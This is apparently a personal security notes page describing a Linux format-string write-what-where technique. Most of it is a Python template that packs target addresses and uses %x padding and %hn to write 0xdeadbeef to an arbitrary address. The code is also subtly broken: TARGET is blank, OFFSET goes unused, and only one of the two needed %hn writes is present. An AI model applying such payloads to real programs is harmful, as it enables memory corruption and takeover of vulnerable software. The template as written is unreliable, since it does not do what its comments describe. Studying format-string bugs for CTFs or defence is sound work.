xct's notes
Search…
Format String

Linux

Write-what-where

Writes 0xdeadbeef to the adress specified in target:
1
import struct
2
3
# In this example we write 0xdeadbeef to the address in TARGET
4
# - find offset with AAAA|%p|%p|%p...
5
# - write to target address as seen below
6
# - send as argv as follows: #x27;...'
7
8
OFFSET = 9
9
TARGET =
10
11
buf = b""
12
buf += struct.pack("I", TARGET)
13
buf += struct.pack("I", TARGET + 2)
14
buf += b'%48871x' # 0xBEEF - 8 = 48871
15
buf += b'%8126x' # 0xDEAD - 0xBEEF = 8126
16
buf += b'%10$hn'
17
print(buf)
Copied!
Last modified 9mo ago
Copy link